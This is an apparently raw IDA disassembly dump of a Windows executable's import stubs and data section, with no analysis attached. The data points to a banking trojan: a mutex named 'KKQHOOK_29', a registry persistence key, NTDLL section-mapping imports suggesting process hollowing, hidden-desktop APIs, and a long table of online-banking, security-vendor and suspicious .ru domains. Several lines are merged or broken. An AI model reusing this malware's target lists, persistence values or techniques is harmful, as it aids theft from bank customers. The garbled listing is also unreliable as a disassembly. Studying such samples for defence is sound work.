		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetFileTime. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION TerminateProcess.	PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION VirtualAlloc. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION VirtualFree. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION VirtualQuery. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION WideCharToMultiByte. PRESS KEYPAD	"+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION WinExec. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CreateMutexA. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION lstrlenA.	PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION lstrlenW.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CreateProcessA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CreateThread. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CallWindowProcA. PRESS KEYPAD "+"	TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetWindowTextA. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetWindowRect. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION FindWindowA. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetWindow. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetClassNameA. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetFocus.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetForegroundWindow. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION LoadCursorA. PRESS KEYPAD	"+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION SetTimer.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION LoadIconA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetMessageA. PRESS KEYPAD	"+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetWindowLongA. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetWindowLongA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CreateDesktopA. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetThreadDesktop.	PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetThreadDesktop.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION TranslateMessage.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION DispatchMessageA.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION wsprintfA. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION SendMessageA. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RegisterClassA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION PostQuitMessage. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION ShowWindow. PRESS	KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION CreateWindowExA. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION DestroyWindow. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION MoveWindow. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION DefWindowProcA. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetStockObject. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetBkColor. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SetTextColor. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CreateBrushIndirect. PRESS KEYPAD	"+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION CreateFontA. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION OpenProcessToken.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetTokenInformation. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RegCreateKeyExA. PRESS KEYPAD "+"	TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RegSetValueExA. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetSecurityInfo. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetSecurityInfo. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SetEntriesInAclA.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetSidIdentifierAuthority. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetSidSubAuthority. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetSidSubAuthorityCount. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _itoa. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION __GetMainArgs. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION _sleep. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION _stricmp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION abs. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION exit. PRESS KEYPAD "+" TO	EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION memcmp. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION raise. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION rand. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION signal. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION sprintf. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION srand. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION sscanf. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION strchr. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION strncmp. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0DBh	dup(0)
dword_40D000	dd 0							; sub_4082AB+89r ...
		dd 41Dh	dup(0)
dword_40E078	dd 0							; sub_40B2CA+C8r
dword_40E07C	dd 0							; sub_401D31+45Cw ...
; char byte_40E080[]
byte_40E080	db 100h	dup(0)		; DATA XREF: sub_408048+1C8o
					; sub_4098A8+709o ...
dword_40E180	dd 0							; sub_40354F:loc_4035D1r
		dd 413h	dup(0)
dword_40F1D0	dd 0							; sub_401D31+21Ew ...
dword_40F1D4	dd 0							; sub_401D31+3E9r ...
dword_40F1D8	dd 0							; sub_406D2E+FF5r ...
byte_40F1DC	db 0			; DATA XREF: sub_401D31+11Dw
		align 10h
; char FileName[]
FileName	db 100h	dup(0)		; DATA XREF: sub_40133B+2Fo
					; sub_40AA24+425o ...
; LPVOID lp
lp		dd 0			; DATA XREF: sub_402843+82r
					; sub_402A48+D0w ...
		dd 0FFh	dup(0)
dword_40F6E0	dd 0							; sub_40372A+96r
		dd 44Eh	dup(0)
; HWND dword_41081C
dword_41081C	dd 0							; sub_408ED0+855r ...
dword_410820	dd 0							; .text:loc_401BADr
		dd 41Fh	dup(0)
dword_4118A0	dd 0				dd 0FFh	dup(0)
dword_411CA0	dd 0							; sub_403FD8+89r
		dd 44Fh	dup(0)
dword_412DE0	dd 0							; .text:00402559r
		dd 44Eh	dup(0)
dword_413F1C	dd 0							; sub_40B2CA+DDr
; HWND dword_413F20
dword_413F20	dd 0							; sub_408ED0+8ADr ...
		align 10h
dword_413F30	dd 0							; sub_408AB9+89r
		dd 44Fh	dup(0)
byte_415070	db 0			; DATA XREF: sub_401D31+3F1w
		align 8
byte_415078	db 0			; DATA XREF: sub_401D31+5Fw
					; sub_401D31+64r ...
		align 4
dword_41507C	dd 0							; sub_401D31+1C8w ...
; char byte_415080[]
byte_415080	db 100h	dup(0)		; DATA XREF: sub_4098A8+8C1o
					; sub_4098A8+9ECo ...
; HMODULE hModule
hModule		dd 0			; DATA XREF: sub_402A48+A7w
					; sub_402A48+C4r ...
		dd 0FFh	dup(0)
dword_415580	dd 0							; sub_407FBC:loc_40803Er
		dd 45Bh	dup(0)
dword_4166F0	dd 0							; .text:00401991r
		dd 3FFh	dup(0)
dword_4176F0	dd 0							; sub_404491+8Er
		dd 3F3h	dup(0)
dword_4186C0	dd 0							; .text:loc_40221Cr
		dd 413h	dup(0)
; struct _OSVERSIONINFOA VersionInformation
VersionInformation _OSVERSIONINFOA <0>	; DATA XREF: sub_40AA24+C3w
					; sub_40AA24+D2o
		align 10h
dword_4197B0	dd 0							; sub_405138+81r
		dd 40Fh	dup(0)
dword_41A7F0	dd 0							; .text:004014BFr
		dd 3EBh	dup(0)
byte_41B7A0	db 0			; DATA XREF: sub_401D31+3B8w
					; sub_401D31+3BDr
		align 4
dword_41B7A4	dd 0							; sub_401D31+D0r ...
dword_41B7A8	dd 0		dword_41B7AC	dd 0		; resolved to->NTDLL.ZwOpenSection					; sub_4022BB+FFr ...
dword_41B7B0	dd 0							; sub_40129C+95r
		dd 402h	dup(0)
; HWND dword_41C7BC
dword_41C7BC	dd 0							; sub_40AA24+841r ...
dword_41C7C0	dd 0							; sub_406815+A2r
		dd 435h	dup(0)
; HWND dword_41D898
dword_41D898	dd 0							; sub_408ED0+21Er
; HWND hWnd
hWnd		dd 0			; DATA XREF: sub_408ED0+4Bw
					; sub_408ED0+6Fr ...
dword_41D8A0	dd 0		; resolved to->NTDLL.ZwUnmapViewOfSection					; sub_4024A8+13r
		align 10h
dword_41D8B0	dd 0							; sub_4032E2+84r
		dd 401h	dup(0)
dword_41E8B8	dd 0							; sub_401D31:loc_401DBBw ...
; HWND dword_41E8BC
dword_41E8BC	dd 0							; sub_408ED0+74Fr ...
dword_41E8C0	dd 0							; sub_40B2CA+ACr
; HWND dword_41E8C4
dword_41E8C4	dd 0							; sub_408ED0+3B5r ...
dword_41E8C8	dd 0		; resolved to->NTDLL.ZwMapViewOfSection					; sub_402445+53r
; HINSTANCE hInstance
hInstance	dd 0			; DATA XREF: sub_408ED0+9Cr
					; sub_408ED0+10Fr ...
; char ExistingFileName[]
ExistingFileName db 100h dup(0)		; DATA XREF: sub_408B4C+A9o
					; sub_4098A8+DD5o ...
dword_41E9D0	dd 0							; sub_401D31+ACw ...
		align 10h
dword_41E9E0	dd 0							; sub_40390E:loc_403991r
		dd 404h	dup(0)
dword_41F9F4	dd 0							; sub_40B2CA+9Cr
		align 10h
; char byte_41FA00[]
byte_41FA00	db 100h	dup(0)		; DATA XREF: sub_4098A8+642o
					; sub_40AA24+3FFo ...
byte_41FB00	db 0			; DATA XREF: sub_401D31+175w
		align 4
; HWND hWndParent
hWndParent	dd 0			; DATA XREF: sub_408ED0+DCw
					; sub_408ED0+117r ...
		align 10h
; CHAR MultiByteStr
MultiByteStr	db 0			; DATA XREF: sub_406D2E+136o
					; sub_406D2E+D2Fo ...
byte_41FB11	db 0			; DATA XREF: sub_406D2E+EB1r
byte_41FB12	db 0			; DATA XREF: sub_406D2E+EBAr
byte_41FB13	db 0			; DATA XREF: sub_406D2E+EC3r
		dd 3FFFh dup(0)
byte_42FB10	db 0			; DATA XREF: sub_401D31+267w
					; sub_401D31+26Cr
		align 4
dword_42FB14	dd 0							; .text:00407F76r ...
		align 10h
dword_42FB20	dd 0							; .text:loc_401810r
		dd 43Fh	dup(0)
dword_430C20	dd 0		; resolved to->NTDLL.RtlNtStatusToDosErrordword_430C24	dd 0							; sub_4022BB+17r
; HWND dword_430C28
dword_430C28	dd 0							; sub_408ED0+23Fr ...
byte_430C2C	db 0			; DATA XREF: sub_401D31+2FAw
					; sub_401D31+30Br ...
		align 10h
dword_430C30	dd 0							; .text:loc_4043C0r
		dd 407h	dup(0)
dword_431C50	dd 0							; sub_406CA2:loc_406D24r
		dd 459h	dup(0)
; HWND dword_432DB8
dword_432DB8	dd 0							; sub_408ED0+898r ...
dword_432DBC	dd 0							; sub_40B3E8+246r ...
; HWND dword_432DC0
dword_432DC0	dd 0							; sub_408ED0+373r ...
		align 10h
dword_432DD0	dd 0							; .text:00408644r
		dd 443h	dup(0)
; char Buffer[]
Buffer		db 100h	dup(0)		; DATA XREF: sub_403A5F+64o
					; sub_403BE7+221o ...
; char Format
Format		db 0			; DATA XREF: sub_40133B+ADo
					; sub_408048+FCw ...
		align 4
		dd 3Fh dup(0)
dword_4340E0	dd 0							; .text:00401A74r
		dd 43Dh	dup(0)
; HWND dword_4351D8
dword_4351D8	dd 0							; sub_408ED0+8D0r ...
; HWND dword_4351DC
dword_4351DC	dd 0							; sub_408ED0+8E5r
dword_4351E0	dd 0							; .text:00401600r
		dd 41Bh	dup(0)
dword_436250	dd 0							; sub_404E2A:loc_404EBCr
		dd 43Fh	dup(0)
dword_437350	dd 0							; .text:loc_401D27r
		dd 423h	dup(0)
dword_4383E0	dd 0							; .text:loc_401725r
		dd 45Fh	dup(0)
dword_439560	dd 0							; .text:00408934r
		dd 3FDh	dup(0)
dword_43A558	dd 0							; sub_40B3E8+24Er ...
		align 10h
byte_43A560	db 0			; DATA XREF: sub_401D31+42Bw
		align 10h
dword_43A570	dd 0							; .text:00408737r
dword_43A574	dd 6A3h	dup(0)
		dd offset dword_40D000
		dd offset dword_43A574+0FACh
		dd 8000h, 0
dword_43C010	dd 0							; sub_40109A+110w ...
dword_43C014	dd 0				dd 0
dword_43C01C	dd 0		dword_43C020	dd 0		dword_43C024	dd 0		dword_43C028	dd 0		dword_43C02C	dd 0							; sub_40109A:loc_401208r
dword_43C030	dd 0		dword_43C034	dd 0							; sub_40109A+87r ...
dword_43C038	dd 0		dword_43C03C	dd 14h dup(0)						; sub_40109A+8Fo
dword_43C08C	dd 0		dword_43C090	dd 0							; sub_40109A+32w
dword_43C094	dd 5							; sub_408ED0+47Ar ...
dword_43C098	dd 12h							; sub_408E12+6Er ...
dword_43C09C	dd 0							; sub_40129C:loc_4012CBr ...
; char Name[]
Name		db 'KKQHOOK_29',0       ; DATA XREF: sub_40A9BC+20o
					; sub_40AA24+5A3o
aGu?		db 'gU',27h,'= ?',0
aOX2bn		db 'O+X2Bn',0
aW		db 'w',0
		align 4
dword_43C0BC	dd 0							; sub_4098A8+153r ...
dword_43C0C0	dd 46h							; sub_4098A8+105Cr ...
off_43C0C4	dd offset aSiliconfirewar ; DATA XREF: sub_4098A8+126r
					; sub_4098A8+159r
					; "siliconfireware.ru"
		dd offset aChechenpress_i ; "chechenpress.info"
		dd offset aProdexteam_n_1 ; "prodexteam.net"
		dd offset aProdexteam_net ; "prodexteam.net/main.htm"
		dd offset aWww_cbr_ru	; "www.cbr.ru"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aProdexteam_n_0 ; "prodexteam.netcrutop.nu"
		dd offset aNew_egg_com	; "new.egg.com"
		dd offset aWww_baltbank_r ; "www.baltbank.ru"
		dd offset aWelcome3_smile ; "welcome3.smile.co.uk"
		dd offset aOlb2_nationet_ ; "olb2.nationet.com"
		dd offset aWww_bbin_ru	; "www.bbin.ru"
		dd offset aMasterX_com	; "master-x.com"
		dd offset aEbookfinaltras ; "ebookfinaltrash.ru"
		dd offset aWww_masterbank ; "www.masterbank.ru"
		dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php"
		dd offset aWww_bmo_com	; "www.bmo.com"
		dd offset aWww_bankofmadu ; "www.bankofmadura.com"
		dd offset aWww_cibc_com	; "www.cibc.com"
		dd offset aWww_vtb_ru	; "www.vtb.ru"
		dd offset aWww_cwbank_com ; "www.cwbank.com"
		dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru"
		dd offset aAlfabank_ru	; "alfabank.ru"
		dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/"
		dd offset aWww_mmbank_ru ; "www.mmbank.ru"
		dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php"
		dd offset aWww_uniastrum_ ; "www.uniastrum.ru"
		dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php"
		dd offset aAtmacasoft_com ; "atmacasoft.com"
		dd offset aAsmworm_com	; "asmworm.com"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru"
		dd offset aWww_worldbank_ ; "www.worldbank.org/index.php"
		dd offset aWww_candidatev ; "www.candidateverifier.com/index.php"
		dd offset aWww_sbrf_ru	; "www.sbrf.ru"
		dd offset aPizdabolInc_ru ; "pizdabol-inc.ru"
		dd offset aWww_bankofindi ; "www.bankofindia.com"
		dd offset aWww_icbank_ru ; "www.icbank.ru"
		dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."...
		dd offset aWww_spyinstruc ; "www.spyinstructors.com"
		dd offset aWww_kmb_ru	; "www.kmb.ru"
		dd offset aWww_netmagiste ; "www.netmagister.com"
		dd offset aKavkazcenter_c ; "kavkazcenter.com/russ"
		dd offset aWww_absolutban ; "www.absolutbank.ru"
		dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk"
		dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk"
		dd offset aWww_allahabadb ; "www.allahabadbank.com"
		dd offset aMasterX_comFor ; "master-x.com/forum/"
		dd offset aWww_rbc_com	; "www.rbc.com"
		dd offset aWww_ovk_ru	; "www.ovk.ru"
		dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php"
		dd offset aProrat_net	; "prorat.net"
		dd offset aYambo_biz	; "yambo.biz"
		dd offset aKidosBank_ru	; "kidos-bank.ru"
		dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"...
		dd offset aBarclays_com	; "barclays.com"
		dd offset aTotallyfreeban ; "totallyfreebanking.com"
		dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php"
		dd offset a53bank_com	; "53bank.com"
		dd offset aWww_uralsib_ru ; "www.uralsib.ru"
		dd offset aGrepwareFacili ; "grepware-facility.ru"
		dd offset aWww_b2bTrust_c ; "www.b2b-trust.com"
		dd offset aGutabank_ru	; "gutabank.ru"
		dd offset aOpenbank_com	; "openbank.com"
		dd offset aSeclab_ru	; "seclab.ru"
		dd offset aTatNeftbank_ru ; "tat-neftbank.ru"
		dd offset aSecuritylab_ru ; "securitylab.ru"
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 75h,	44h, 0
		dd offset aFethard_biz	; "fethard.biz"
		dd offset aWww_mdmbank_ru ; "www.mdmbank.ru"
		dd offset aGronxplanets_r ; "gronxplanets.ru"
		dd offset aChevychasebank ; "chevychasebank.com"
		dd 2E716E4Ah
		db 0
; char SubKey[]
SubKey		db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_4098A8+5A0o
					; sub_4098A8+68Fo ...
aK		db 'K',0
; char ValueName[]
ValueName	db 'ofstkkq',0          ; DATA XREF: sub_4098A8+59Bo
					; sub_4098A8+68Ao
		db 0
; char aOfstkkqc[]
aOfstkkqc	db 'ofstkkqc',0         ; DATA XREF: sub_4098A8+6E3o
					; sub_4098A8+898o
		dd 0
dword_43C21C	dd 0							; sub_40B3E8:loc_40B57Br ...
; HWND dword_43C220
dword_43C220	dd 0							; sub_40B3E8+A9r ...
		dd 20533E44h, 743F46h
dword_43C22C	dd 727C21h	dword_43C230	dd 38h							; sub_401D31+96w ...
		dd 3, 0Eh
dword_43C23C	dd 0							; .text:loc_40145Br ...
		dd 1, 0Dh
dword_43C248	dd 0							; .text:loc_40159Dr ...
		dd 2, 10h
dword_43C254	dd 0							; .text:loc_4016D6r ...
		dd 6, 0Ch
dword_43C260	dd 0							; .text:loc_4017B4r ...
dword_43C264	dd 354B5Eh	dword_43C268	dd 252C366Fh, 38h, 5, 0Ahdword_43C278	dd 0							; .text:loc_40193Br ...
aVlvh_		db 'vlVh_',0            ; DATA XREF: .text:004019ABo
		align 4
		dd 5, 0Fh
dword_43C28C	dd 0							; .text:loc_401A1Dr ...
word_43C290	dw 2Ah			; DATA XREF: sub_401A7E+37r
dword_43C292	dd 707C44h			align 4
		dd 0
		dd 0Bh
dword_43C2A0	dd 0							; .text:loc_401B47r ...
word_43C2A4	dw 4Ah			; DATA XREF: sub_401BB7+9r
word_43C2A6	dw 7146h		; DATA XREF: sub_401BB7+D4o
		dd 42506347h, 3Ah, 2, 0Ah
dword_43C2B8	dd 0							; .text:loc_401CCEr ...
word_43C2BC	dw 20h			; DATA XREF: sub_401D31+1Dr
word_43C2BE	dw 3851h		; DATA XREF: sub_401D31+13Ao
		dd 7A8161h
dword_43C2C4	dd 493C253Eh, 68hoff_43C2CC	dd offset loc_401DBB	; DATA XREF: sub_401D31+7Er
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_401F8C
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DF8
		dd offset loc_401DF8
		dd offset loc_401E2D
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401E2D
		dd offset loc_401E2D
		dd offset loc_401EB0
		dd offset loc_401ED6
		dd offset loc_401F5A
		dd offset loc_401F20
		dd offset loc_401E1C
		dd offset loc_401F0E
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F0E
		dd offset loc_401F20
		dd offset loc_401F0E
		dd offset loc_401F0E
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
off_43C4FC	dd offset loc_401DBB	; DATA XREF: sub_401D31+291r
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_401DBB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401F37
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_401F4A
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401E1C
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F5A
		dd offset loc_401F0E
		dd offset loc_401F0E
		dd offset loc_401F70
